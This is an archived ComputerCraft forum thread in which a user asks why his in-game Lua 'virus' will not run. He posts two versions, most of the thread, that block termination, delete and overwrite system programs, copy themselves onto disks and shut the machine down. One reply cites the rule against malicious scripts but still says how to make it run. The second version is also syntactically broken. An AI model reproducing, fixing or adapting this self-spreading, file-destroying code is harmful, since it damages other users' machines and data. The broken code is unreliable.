This is a read-only snapshot of the ComputerCraft forums, taken in April 2020.
Charlie729's profile picture

Why won't my virus code work?

Started by Charlie729, 27 June 2012 - 01:12 AM
Charlie729 #1
Posted 27 June 2012 - 03:12 AM
I've made some code that replicates the payload for the "TECHNO" DOS virus and it will not run and has no error when trying to run.

This is the startup code:

os.pullEvent = os.pullEventRaw
function infect(directory)
if fs.exists(directory) then
fs.delete(directory)
end
term.clear()
textutils.slowPrint("TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO ")
sleep(1)
infect("startup")
fs.copy("disk/virus","startup")
infect("/startup")
fs.copy("disk/virus","/startup")
infect("clear")
fs.copy("disk/virus","clear")
infect("/clear")
fs.copy("disk/virus","/clear")
infect("copy")
fs.copy("disk/virus","copy")
infect("/copy")
fs.copy("disk/virus","/copy")
infect("reboot")
fs.copy("disk/virus","reboot")
infect("/reboot")
fs.copy("disk/virus","/reboot")
infect("shutdown")
fs.copy("disk/virus","shutdown")
infect("/shutdown")
fs.copy("disk/virus","/shutdown")
infect("list")
fs.copy("disk/virus","list")
infect("/list")
fs.copy("disk/virus","/list")
infect("delete")
fs.copy("disk/virus","delete")
infect("/delete")
fs.copy("disk/virus","/delete")
infect("startup")
fs.copy("disk/virus","startup")
infect("/startup")
fs.copy("disk/virus","/startup")
os.shutdown()
end

The virus file is a compact version of this only including the TECHNO slowprint and a os.shutdown after it.
MysticT #2
Posted 27 June 2012 - 03:20 AM
First:
Advert said:
Don't post malicious scripts.

Anyway, the problem is that you never call the function, so it never runs anything. You should move the last end before the term.clear()
Charlie729 #3
Posted 27 June 2012 - 05:58 AM
I didn't know that's what it meant by "malicious", it does nothing dangerous unless you call spamming fs.delete in my save file malicious.

I tried moving the end and "infect("directory")" is everywhere in the code.
Edited on 27 June 2012 - 04:03 AM
Charlie729 #4
Posted 27 June 2012 - 06:33 AM
Is this better?:



os.pullEvent = os.pullEventRaw

local vcode = "os.pullEvent = os.pullEventRaw /n";
local vcode1 = "textutils.slowPrint("TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO ") /n"
local vcodeSpread1 = "function infect(directory) n"
local vcodeSpread2 = " if fs.exists(directory) then n"
local vcodeSpread3 = "  fs.delete(directory) n"
local vcodeSpread4 = " end n"
local vcodeSpread5 = " file = io.open(directory, "w") n"
local vcodeSpread6 = " file:write(viruscode) n"
local vcodeSpread7 = " file:write(viruscode1) n"
local vcodeSpread8 = " file:write(viruscode2) n"
local vcodeSpread9 = " file:write(viruscode3) n"
local vcodeSpread10 = " file:close() n"
local vcodeSpread11 = "end n"
local vcodeSpread12 = "if fs.exists("disk/") then n"
local vcodeSpread13 = "infect("disk/startup") n"
local vcodeSpread14 = "end n"
local vcodeSpread15 = "infect("startup") n"
local vcode2 = "sleep(1) /n"
local vcode3 = "os.shutdown /n"
if fs.exists("disk/") then
files = fs.list("disk")
for n=1,#files do
   if not fs.isDir("disk/"..files[n]) then
         file = io.open("disk/"..files[n], "w")
         file:write(vcode)
         file:write(vcode1)
         file:write(vcodeSpread1)
         file:write(vcodeSpread2)
         file:write(vcodeSpread3)
         file:write(vcodeSpread4)
         file:write(vcodeSpread5)
         file:write(vcodeSpread6)
         file:write(vcodeSpread7)
         file:write(vcodeSpread8)
         file:write(vcodeSpread9)
         file:write(vcodeSpread10)
         file:write(vcodeSpread11)
         file:write(vcodeSpread12)
         file:write(vcodeSpread13)
         file:write(vcodeSpread14)
         file:write(vcodeSpread15)
         file:write(vcode2)
         file:write(vcode3)
         file:close()
   end
end
end
files = fs.list("/")
for n=1,#files do
            if not fs.isDir("/"..files[n]) then
    fs.delete("/" ..files[n])
                            file = io.open("/"..files[n], "w")
    file:write(vcode)
    file:write(vcode1)
    file:write(vcodeSpread1)
    file:write(vcodeSpread2)
    file:write(vcodeSpread3)
    file:write(vcodeSpread4)
    file:write(vcodeSpread5)
    file:write(vcodeSpread6)
    file:write(vcodeSpread7)
    file:write(vcodeSpread8)
    file:write(vcodeSpread9)
    file:write(vcodeSpread10)
    file:write(vcodeSpread11)
    file:write(vcodeSpread12)
    file:write(vcodeSpread13)
    file:write(vcodeSpread14)
    file:write(vcodeSpread15)
    file:write(vcode2)
    file:write(vcode3)
    file:close()
            end
end
function infect(directory)
if fs.exists(directory) then
fs.delete(directory)
end
term.clear()
textutils.slowPrint("TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO TECHNO ")
file = io.open(directory, "w")
file:write(vcode)
file:write(vcode1)
file:write(vcodeSpread1)
file:write(vcodeSpread2)
file:write(vcodeSpread3)
file:write(vcodeSpread4)
file:write(vcodeSpread5)
file:write(vcodeSpread6)
file:write(vcodeSpread7)
file:write(vcodeSpread8)
file:write(vcodeSpread9)
file:write(vcodeSpread10)
file:write(vcodeSpread11)
file:write(vcodeSpread12)
file:write(vcodeSpread13)
file:write(vcodeSpread14)
file:write(vcodeSpread15)
file:write(vcode2)
file:write(vcode3)
file:close()
end
infect("/edit")
infect("/clear")
infect("/copy")
infect("/reboot")
infect("/shutdown")
infect("/list")
infect("/delete")
infect("/startup")
if fs.exists("disk/") then
infect("disk/startup")
end
GreaseMonkey #5
Posted 27 June 2012 - 09:32 AM
…HELL NO. Don't EVER use that code snippet, IT *SUCKS* and I analysed the utter crap out of it some weeks ago.
Plus there's a syntax error =P

There's a very good reason why "malicious code" is deleted from the program archives, and that's because there's too many utterly crap viruses that basically flood the forums… I think that's the case, anyway (if not, those of you who believe otherwise should just bug me on IRC).

EDIT: Read this analysis and NEVER USE THAT BASE CODE AGAIN. In the meantime, don't touch viruses until you know how to use functions recursively. Start from the line that says "Now moving onto code quality."